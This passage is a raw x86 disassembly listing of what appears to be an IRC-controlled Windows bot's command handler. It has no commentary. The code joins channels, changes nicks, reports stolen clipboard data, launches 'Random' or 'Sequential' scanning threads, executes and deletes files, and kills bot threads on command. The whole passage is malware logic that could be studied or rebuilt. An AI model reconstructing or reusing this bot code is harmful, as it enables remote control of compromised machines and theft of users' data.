; sub_40CD3A+1AE8j
cmp [ebp+var_C], ebx
jz loc_412818
push edi
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412818
push offset asc_426CF0 ; "\n"
push esi
call sub_415A30
push esi
call sub_40A506
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2D8]
jnz short loc_4111C0
push offset dword_434390
jmp short loc_41120A
; ---------------------------------------------------------------------------
loc_4111C0: ; CODE XREF: sub_40CD3A+447Dj
push esi
push offset dword_434364
push eax
call sub_415316
add esp, 0Ch
jmp short loc_411233
; ---------------------------------------------------------------------------
loc_4111D1: ; CODE XREF: sub_40CD3A+1AA3j
; sub_40CD3A+1ABAj
cmp [ebp+var_C], ebx
jz loc_412818
push edi
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_412818
push eax
call sub_409BEC
test eax, eax
pop ecx
lea eax, [ebp+var_2D8]
jnz short loc_411205
push offset unk_434334
jmp short loc_41120A
; ---------------------------------------------------------------------------
loc_411205: ; CODE XREF: sub_40CD3A+44C2j
push offset dword_434304
loc_41120A: ; CODE XREF: sub_40CD3A+4484j
; sub_40CD3A+44C9j
push eax
call sub_415316
pop ecx
pop ecx
loc_411212: ; CODE XREF: sub_40CD3A+3F5Aj
cmp [ebp+var_8], ebx
jnz short loc_411233
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_411233: ; CODE XREF: sub_40CD3A+4360j
; sub_40CD3A+4372j ...
lea eax, [ebp+var_2D8]
push eax
loc_41123A: ; CODE XREF: sub_40CD3A+164Aj
call sub_40B078
pop ecx
jmp loc_412818
; ---------------------------------------------------------------------------
loc_411245: ; CODE XREF: sub_40CD3A+1A75j
; sub_40CD3A+1A8Cj
push 7Fh
lea eax, [ebp+var_1824]
push edi
push eax
call sub_416BE0
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_411274
push 7Fh
lea eax, [ebp+var_17A4]
push esi
push eax
call sub_416BE0
add esp, 0Ch
loc_411274: ; CODE XREF: sub_40CD3A+4526j
push 7Fh
lea eax, [ebp+var_1724]
push [ebp+var_8C]
push eax
call sub_416BE0
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_1828], eax
mov eax, [ebp+var_8]
mov [ebp+var_16A0], eax
mov eax, [ebp+var_4]
mov [ebp+var_169C], eax
lea eax, [ebp+var_2D8]
push offset dword_4342D8
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 14h
push eax
call sub_414DDA
add esp, 24h
mov [ebp+var_16A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1828]
push ebx
push eax
push offset sub_40AD52
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_16A4]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_411324
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434288
loc_411308: ; CODE XREF: sub_40CD3A+562Cj
lea eax, [ebp+var_2D8]
push eax
call sub_415316
add esp, 0Ch
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_41131C: ; CODE XREF: sub_40CD3A+45F0j
push 32h
call dword_421060 ; Sleep
loc_411324: ; CODE XREF: sub_40CD3A+45C0j
cmp [ebp+var_1698], ebx
jz short loc_41131C
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_411331: ; CODE XREF: sub_40CD3A+1A47j
; sub_40CD3A+1A5Ej
push ebx
push [ebp+var_8C]
push [ebp+arg_4]
push edi
call sub_4062F7
push edi
push offset dword_43425C
jmp loc_410D83
; ---------------------------------------------------------------------------
loc_41134C: ; CODE XREF: sub_40CD3A+1A19j
; sub_40CD3A+1A30j
push 14h
lea eax, [ebp+var_858]
push ebx
push eax
call sub_415390
push edi
lea eax, [ebp+var_844]
push offset aS_1 ; "%s"
push eax
call sub_415316
mov eax, [ebp+arg_4]
mov [ebp+var_860], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_740]
push 80h
push eax
call sub_41588A
mov eax, [ebp+var_4]
mov [ebp+var_6B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_6B4], eax
lea eax, [ebp+var_740]
push eax
lea eax, [ebp+var_844]
push eax
lea eax, [ebp+var_2D8]
push offset dword_434224
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 12h
push eax
call sub_414DDA
add esp, 40h
mov [ebp+var_6BC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40B61A
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_6BC]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_41141F
loc_411406: ; CODE XREF: sub_40CD3A+79Dj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_4341D8
jmp loc_4108F0
; ---------------------------------------------------------------------------
loc_411417: ; CODE XREF: sub_40CD3A+46EBj
push 32h
call dword_421060 ; Sleep
loc_41141F: ; CODE XREF: sub_40CD3A+46CAj
cmp [ebp+var_6B0], ebx
jz short loc_411417
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_41142C: ; CODE XREF: sub_40CD3A+19EBj
; sub_40CD3A+1A02j
push edi
call dword_421118 ; DeleteFileA
test eax, eax
jz short loc_41143F
push edi
push offset dword_4341A8
jmp short loc_41144A
; ---------------------------------------------------------------------------
loc_41143F: ; CODE XREF: sub_40CD3A+46FBj
push offset dword_43493C
call sub_409B27
push eax
loc_41144A: ; CODE XREF: sub_40CD3A+4703j
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
loc_41145B: ; CODE XREF: sub_40CD3A+47E5j
add esp, 10h
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_411463: ; CODE XREF: sub_40CD3A+19BDj
; sub_40CD3A+19D4j
push edi
call sub_41587F
push eax
call sub_413EDB
xor esi, esi
pop ecx
inc esi
pop ecx
cmp eax, esi
push edi
lea eax, [ebp+var_2D8]
jnz short loc_411486
push offset dword_434170
jmp short loc_41148B
; ---------------------------------------------------------------------------
loc_411486: ; CODE XREF: sub_40CD3A+4743j
push offset dword_434128
loc_41148B: ; CODE XREF: sub_40CD3A+474Aj
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_40F54A
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
jmp loc_40F54A
; ---------------------------------------------------------------------------
loc_4114BE: ; CODE XREF: sub_40CD3A+198Fj
; sub_40CD3A+19A6j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_413C50
add esp, 18h
cmp eax, 1
push edi
jnz short loc_4114E0
push offset dword_4340EC
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_4114E0: ; CODE XREF: sub_40CD3A+479Aj
push offset dword_4340A8
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_4114EA: ; CODE XREF: sub_40CD3A+1961j
; sub_40CD3A+1978j
push edi
call dword_43C594
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_411524
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_43C50C
cmp eax, ebx
jz short loc_41153F
push dword ptr [eax]
loc_41150D: ; CODE XREF: sub_40CD3A+4803j
push edi
lea eax, [ebp+var_2D8]
push offset dword_434078
push eax
call sub_415316
jmp loc_41145B
; ---------------------------------------------------------------------------
loc_411524: ; CODE XREF: sub_40CD3A+47BDj
push edi
call dword_43C5D8
cmp eax, ebx
jz short loc_41153F
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_43C5E0
push eax
jmp short loc_41150D
; ---------------------------------------------------------------------------
loc_41153F: ; CODE XREF: sub_40CD3A+47CFj
; sub_40CD3A+47F3j
push offset dword_43403C
jmp loc_40EDBE
; ---------------------------------------------------------------------------
loc_411549: ; CODE XREF: sub_40CD3A+1933j
; sub_40CD3A+194Aj
push 7Fh
push edi
push [ebp+arg_14]
call sub_416BE0
push edi
lea eax, [ebp+var_2D8]
push offset dword_434004
push eax
call sub_415316
add esp, 18h
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_41156E: ; CODE XREF: sub_40CD3A+1905j
; sub_40CD3A+191Cj
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_43C4C8
test eax, eax
push edi
jz short loc_41158E
push offset unk_433FD4
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_41158E: ; CODE XREF: sub_40CD3A+4848j
push offset unk_433F9C
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_411598: ; CODE XREF: sub_40CD3A+18D7j
; sub_40CD3A+18EEj
mov al, [edi]
mov byte_42C260, al
movsx eax, byte ptr [edi]
push eax
push offset dword_433F64
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_4115AD: ; CODE XREF: sub_40CD3A+18A9j
; sub_40CD3A+18C0j
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_414278
push eax
lea eax, [ebp+var_2D8]
push offset dword_43467C
push eax
call sub_415316
add esp, 1Ch
jmp loc_410CD0
; ---------------------------------------------------------------------------
loc_4115F8: ; CODE XREF: sub_40CD3A+187Bj
; sub_40CD3A+1892j
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_40D18F
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_40D18F
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_4416D4[eax]
call sub_412B8B
pop ecx
pop ecx
push 1F4h
call dword_421060 ; Sleep
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_4416D4[eax]
call dword_43C5EC
push [ebp+var_10]
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_4416DC[eax]
call dword_421130 ; TerminateThread
push edi
call sub_41587F
imul eax, 234h
push edi
mov dword_4416DC[eax], ebx
call sub_41587F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_4414C8[eax], bl
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_4116A3: ; CODE XREF: sub_40CD3A+184Dj
; sub_40CD3A+1864j
push edi
push offset aAll ; "all"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4116D2
call sub_414F9D
cmp eax, ebx
jle short loc_4116C8
push eax
push offset dword_433F14
jmp loc_40F5C3
; ---------------------------------------------------------------------------
loc_4116C8: ; CODE XREF: sub_40CD3A+4981j
push offset dword_433ED8
jmp loc_411EB9
; ---------------------------------------------------------------------------
loc_4116D2: ; CODE XREF: sub_40CD3A+4978j
mov eax, [ebp+var_A8]
lea esi, [eax+1]
jmp short loc_411749
; ---------------------------------------------------------------------------
loc_4116DD: ; CODE XREF: sub_40CD3A+4A12j
mov edi, [ebp+esi*4+var_94]
cmp edi, ebx
jz loc_40D18F
push edi
call sub_41587F
push eax
call sub_414F15
pop ecx
pop ecx
test eax, eax
push edi
lea eax, [ebp+var_2D8]
jz short loc_41170C
push offset dword_433EA0
jmp short loc_411711
; ---------------------------------------------------------------------------
loc_41170C: ; CODE XREF: sub_40CD3A+49C9j
push offset dword_433E60
loc_411711: ; CODE XREF: sub_40CD3A+49D0j
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_41173B
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_41173B: ; CODE XREF: sub_40CD3A+49E3j
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
pop ecx
inc esi
loc_411749: ; CODE XREF: sub_40CD3A+49A1j
cmp esi, 20h
jb short loc_4116DD
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_411753: ; CODE XREF: sub_40CD3A+181Fj
; sub_40CD3A+1836j
cmp [ebp+var_C], ebx
jz loc_412818
push edi
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412818
push esi
push offset dword_425090
push [ebp+arg_4]
call sub_412B8B
push esi
push offset dword_433E34
jmp short loc_4117D1
; ---------------------------------------------------------------------------
loc_411787: ; CODE XREF: sub_40CD3A+17F1j
; sub_40CD3A+1808j
push edi
push offset dword_43459C
push [ebp+arg_4]
call sub_412B8B
push edi
push offset dword_433E00
jmp short loc_4117D1
; ---------------------------------------------------------------------------
loc_41179D: ; CODE XREF: sub_40CD3A+17C3j
; sub_40CD3A+17DAj
push [ebp+esi+var_8C]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push edi
push offset dword_433DCC
jmp loc_410D83
; ---------------------------------------------------------------------------
loc_4117BD: ; CODE XREF: sub_40CD3A+1795j
; sub_40CD3A+17ACj
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push edi
push offset dword_433D94
loc_4117D1: ; CODE XREF: sub_40CD3A+4172j
; sub_40CD3A+4A4Bj ...
call sub_40B0EC
loc_4117D6: ; CODE XREF: sub_40CD3A+41D8j
add esp, 14h
jmp loc_412818
; ---------------------------------------------------------------------------
loc_4117DE: ; CODE XREF: sub_40CD3A+175Aj
; sub_40CD3A+176Fj
mov al, byte_4276EE
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4276EE
jz loc_40D18F
mov ecx, edx
loc_4117F5: ; CODE XREF: sub_40CD3A+4AC3j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4117F5
cmp al, bl
jz loc_40D18F
mov [ebp+arg_18], edx
loc_41180A: ; CODE XREF: sub_40CD3A+4D7Cj
push 8
call sub_41501C
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 12Ch
jle short loc_411859
push ecx
lea eax, [ebp+var_2D8]
push offset dword_434F78
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 20h
jmp loc_411AAD
; ---------------------------------------------------------------------------
loc_411859: ; CODE XREF: sub_40CD3A+4AEAj
or [ebp+var_458], 0FFFFFFFFh
cmp dword_427388, ebx
mov [ebp+var_45C], 1Eh
mov [ebp+var_470], 7
mov [ebp+var_46C], 0B4h
mov [ebp+arg_0], ebx
jz short loc_4118CA
mov eax, [ebp+arg_18]
mov edi, offset dword_427388
lea esi, [eax-0Ah]
loc_411894: ; CODE XREF: sub_40CD3A+4B72j
lea eax, [edi-28h]
push esi
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_4118B0
inc [ebp+arg_0]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_411894
jmp short loc_4118CA
; ---------------------------------------------------------------------------
loc_4118B0: ; CODE XREF: sub_40CD3A+4B68j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_458], eax
imul ecx, 3Ch
mov ecx, dword_427388[ecx]
mov [ebp+var_474], ecx
loc_4118CA: ; CODE XREF: sub_40CD3A+4B4Dj
; sub_40CD3A+4B74j
cmp [ebp+var_474], ebx
jz loc_411AD3
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_D0]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_43C4F8
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_CC], eax
push [ebp+var_CC]
call dword_43C5E0
push eax
lea eax, [ebp+var_588]
push eax
call sub_416BE0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_588]
push eax
call sub_416EE0
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_41196C
loc_41194A: ; CODE XREF: sub_40CD3A+4C30j
cmp eax, ebx
jz short loc_41196C
mov byte ptr [eax], 78h
lea eax, [ebp+var_588]
push 30h
push eax
call sub_416EE0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_41194A
loc_41196C: ; CODE XREF: sub_40CD3A+4C0Ej
; sub_40CD3A+4C12j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov esi, [ebp+var_4]
mov [ebp+var_478], eax
mov eax, [ebp+var_8]
mov edi, 80h
mov [ebp+var_44C], eax
lea eax, [ebp+var_578]
push edi
push eax
mov [ebp+var_448], 1
mov [ebp+var_450], esi
call sub_41588A
push offset byte_43B188
push offset dword_42C304
call sub_415730
add esp, 14h
test eax, eax
jz short loc_4119D6
push offset dword_42C304
lea eax, [ebp+var_4F8]
push edi
push eax
call sub_41588A
add esp, 0Ch
jmp short loc_4119DC
; ---------------------------------------------------------------------------
loc_4119D6: ; CODE XREF: sub_40CD3A+4C83j
mov [ebp+var_4F8], bl
loc_4119DC: ; CODE XREF: sub_40CD3A+4C9Aj
cmp [ebp+var_448], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_4119EE
mov eax, offset aSequential ; "Sequential"
loc_4119EE: ; CODE XREF: sub_40CD3A+4CADj
push [ebp+var_45C]
lea ecx, [ebp+var_588]
push [ebp+var_46C]
push [ebp+var_470]
push [ebp+var_474]
push ecx
push eax
lea eax, [ebp+var_2D8]
push offset dword_433D18
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 8
push eax
call sub_414DDA
add esp, 2Ch
mov [ebp+var_468], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_588]
push ebx
push eax
push offset sub_4078DF
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_468]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_411AC9
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D8]
push offset dword_434E48
push eax
call sub_415316
add esp, 0Ch
loc_411A81: ; CODE XREF: sub_40CD3A+4D97j
cmp [ebp+var_8], ebx
jnz short loc_411AA0
push ebx
lea eax, [ebp+var_2D8]
push esi
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_411AA0: ; CODE XREF: sub_40CD3A+4D4Aj
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
pop ecx
loc_411AAD: ; CODE XREF: sub_40CD3A+4B1Aj
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_41180A
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_411AC1: ; CODE XREF: sub_40CD3A+4D95j
push 32h
call dword_421060 ; Sleep
loc_411AC9: ; CODE XREF: sub_40CD3A+4D2Aj
cmp [ebp+var_444], ebx
jz short loc_411AC1
jmp short loc_411A81
; ---------------------------------------------------------------------------
loc_411AD3: ; CODE XREF: sub_40CD3A+2F3Fj
; sub_40CD3A+4B96j
push offset dword_433CC8
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_411ADD: ; CODE XREF: sub_40CD3A+1730j
; sub_40CD3A+1745j
push 4
call sub_41501C
test eax, eax
pop ecx
jle short loc_411AF3
push offset unk_433C94
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_411AF3: ; CODE XREF: sub_40CD3A+4DADj
mov eax, [ebp+esi+var_90]
mov edi, 104h
cmp eax, ebx
jz short loc_411B16
push eax
lea eax, [ebp+var_1428]
push edi
push eax
call sub_41588A
add esp, 0Ch
jmp short loc_411B25
; ---------------------------------------------------------------------------
loc_411B16: ; CODE XREF: sub_40CD3A+4DC7j
lea eax, [ebp+var_1428]
push edi
push eax
push ebx
call dword_42107C ; GetModuleFileNameA
loc_411B25: ; CODE XREF: sub_40CD3A+4DDAj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_411B35
mov esi, offset byte_42C2BC
loc_411B35: ; CODE XREF: sub_40CD3A+4DF4j
push esi
lea eax, [ebp+var_1324]
push edi
push eax
call sub_41588A
mov eax, dword_42C24C
push 7Fh
push [ebp+var_8C]
mov [ebp+var_1218], eax
mov eax, [ebp+arg_4]
mov [ebp+var_121C], ebx
mov [ebp+var_142C], eax
lea eax, [ebp+var_1214]
push eax
call sub_416BE0
mov eax, [ebp+var_4]
mov [ebp+var_1194], eax
mov eax, [ebp+var_8]
mov [ebp+var_1190], eax
lea eax, [ebp+var_1324]
push eax
lea eax, [ebp+var_1428]
push eax
lea eax, [ebp+var_2D8]
push [ebp+var_1218]
push offset unk_427950
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 4
push eax
call sub_414DDA
add esp, 38h
mov [ebp+var_1220], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_142C]
push ebx
push eax
push offset sub_406B84
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1220]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_411C08
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_433C48
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_411C00: ; CODE XREF: sub_40CD3A+4ED4j
push 32h
call dword_421060 ; Sleep
loc_411C08: ; CODE XREF: sub_40CD3A+4EB3j
cmp [ebp+var_118C], ebx
jz short loc_411C00
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_411C15: ; CODE XREF: sub_40CD3A+1706j
; sub_40CD3A+171Bj
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_411C34
push edi
call sub_41587F
test eax, eax
pop ecx
jz short loc_411C34
push edi
call sub_41587F
pop ecx
jmp short loc_411C39
; ---------------------------------------------------------------------------
loc_411C34: ; CODE XREF: sub_40CD3A+4EE4j
; sub_40CD3A+4EEFj
mov eax, dword_42C250
loc_411C39: ; CODE XREF: sub_40CD3A+4EF8j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B30], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_B1C], eax
jz short loc_411C6C
lea eax, [ebp+var_C34]
push esi
push eax
call sub_415316
pop ecx
pop ecx
jmp short loc_411C97
; ---------------------------------------------------------------------------
loc_411C6C: ; CODE XREF: sub_40CD3A+4F1Fj
lea eax, [ebp+var_A80]
push 104h
push eax
call dword_421058 ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_CC]
push ebx
push eax
lea eax, [ebp+var_A80]
push eax
call sub_4171E8
add esp, 14h
loc_411C97: ; CODE XREF: sub_40CD3A+4F30j
lea eax, [ebp+var_C34]
push eax
call sub_415B10
cmp [ebp+eax+var_C35], 5Ch
pop ecx
jnz short loc_411CC2
lea eax, [ebp+var_C34]
push eax
call sub_415B10
pop ecx
mov [ebp+eax+var_C35], bl
loc_411CC2: ; CODE XREF: sub_40CD3A+4F72j
push [ebp+var_8C]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_EBC]
mov [ebp+var_EC0], esi
push 80h
push eax
call sub_41588A
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_B20], eax
lea eax, [ebp+var_C34]
mov [ebp+var_B24], edi
push eax
push [ebp+var_B30]
push esi
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_2D8]
push offset unk_427818
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 3
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_B28], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC0]
push ebx
push eax
push offset sub_405A96
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_B28]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_411DA5
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_433BF8
loc_411D70: ; CODE XREF: sub_40CD3A+343Fj
; sub_40CD3A+3538j
lea eax, [ebp+var_2D8]
push eax
call sub_415316
add esp, 0Ch
loc_411D7F: ; CODE XREF: sub_40CD3A+3454j
; sub_40CD3A+354Dj ...
cmp [ebp+var_8], ebx
jnz loc_40D68B
push ebx
push edi
loc_411D8A: ; CODE XREF: sub_40CD3A+3887j
lea eax, [ebp+var_2D8]
push eax
push [ebp+var_8C]
push esi
jmp loc_40F913
; ---------------------------------------------------------------------------
loc_411D9D: ; CODE XREF: sub_40CD3A+5071j
push 32h
call dword_421060 ; Sleep
loc_411DA5: ; CODE XREF: sub_40CD3A+5028j
cmp [ebp+var_B14], ebx
jz short loc_411D9D
jmp short loc_411D7F
; ---------------------------------------------------------------------------
loc_411DAF: ; CODE XREF: sub_40CD3A+16DCj
; sub_40CD3A+16F1j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_411DC2
push esi
call sub_41587F
jmp short loc_411DC9
; ---------------------------------------------------------------------------
loc_411DC2: ; CODE XREF: sub_40CD3A+507Ej
push 8
call sub_41503B
loc_411DC9: ; CODE XREF: sub_40CD3A+5086j
cmp eax, ebx
pop ecx
jz loc_412818
push eax
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40713F
jmp loc_41229A
; ---------------------------------------------------------------------------
loc_411DE9: ; CODE XREF: sub_40CD3A+16B2j
; sub_40CD3A+16C7j
mov eax, dword_43C47C
cmp eax, ebx
jz short loc_411E0C
call eax
test eax, eax
lea eax, [ebp+var_2D8]
jz short loc_411E05
push offset unk_433BC0
jmp short loc_411E2D
; ---------------------------------------------------------------------------
loc_411E05: ; CODE XREF: sub_40CD3A+50C2j
push offset unk_433B80
jmp short loc_411E2D
; ---------------------------------------------------------------------------
loc_411E0C: ; CODE XREF: sub_40CD3A+50B6j
push offset unk_433B40
lea eax, [ebp+var_2D8]
jmp short loc_411E2D
; ---------------------------------------------------------------------------
loc_411E19: ; CODE XREF: sub_40CD3A+1688j
; sub_40CD3A+169Dj
call sub_409FB2
test eax, eax
lea eax, [ebp+var_2D8]
jz short loc_411E3D
push offset unk_433B08
loc_411E2D: ; CODE XREF: sub_40CD3A+50C9j
; sub_40CD3A+50D0j ...
push 200h
push eax
call sub_41588A
jmp loc_40F523
; ---------------------------------------------------------------------------
loc_411E3D: ; CODE XREF: sub_40CD3A+50ECj
push offset unk_433AC8
jmp short loc_411E2D
; ---------------------------------------------------------------------------
loc_411E44: ; CODE XREF: sub_40CD3A+165Ej
; sub_40CD3A+1673j
cmp [ebp+var_8], ebx
jnz short loc_411E63
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_411E63: ; CODE XREF: sub_40CD3A+510Dj
push ebx
push [ebp+var_4]
call sub_409BB1
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
push offset dword_433A84
jmp loc_412167
; ---------------------------------------------------------------------------
loc_411E85: ; CODE XREF: sub_40CD3A+1584j
; sub_40CD3A+1599j
push 7
call sub_41501C
test eax, eax
pop ecx
jle short loc_411E98
push offset dword_433A48
jmp short loc_411EB9
; ---------------------------------------------------------------------------
loc_411E98: ; CODE XREF: sub_40CD3A+5155j
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40A71A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_411EB4
push offset dword_433A0C
jmp short loc_411EB9
; ---------------------------------------------------------------------------
loc_411EB4: ; CODE XREF: sub_40CD3A+5171j
push offset dword_4339D8
loc_411EB9: ; CODE XREF: sub_40CD3A+4993j
; sub_40CD3A+515Cj ...
lea eax, [ebp+var_2D8]
push eax
call sub_415316
pop ecx
pop ecx
jmp loc_40F5D2
; ---------------------------------------------------------------------------
loc_411ECC: ; CODE XREF: sub_40CD3A+155Aj
; sub_40CD3A+156Fj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4095A9
jmp loc_412188
; ---------------------------------------------------------------------------
loc_411EE5: ; CODE XREF: sub_40CD3A+1530j
; sub_40CD3A+1545j
push [ebp+esi+var_90]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40C409
jmp loc_412188
; ---------------------------------------------------------------------------
loc_411F02: ; CODE XREF: sub_40CD3A+1506j
; sub_40CD3A+151Bj
or edi, 0FFFFFFFFh
call dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_411F2B
push esi
call sub_41587F
pop ecx
mov edi, eax
loc_411F2B: ; CODE XREF: sub_40CD3A+51E6j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_411F44
cmp edi, 0FFFFFFFFh
jnz loc_412818
loc_411F44: ; CODE XREF: sub_40CD3A+51FFj
push ebx
call sub_40A8CF
push eax
lea eax, [ebp+var_2D8]
push offset dword_4339AC
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
loc_411F81: ; CODE XREF: sub_40CD3A+328Dj
add esp, 28h
jmp loc_412818
; ---------------------------------------------------------------------------
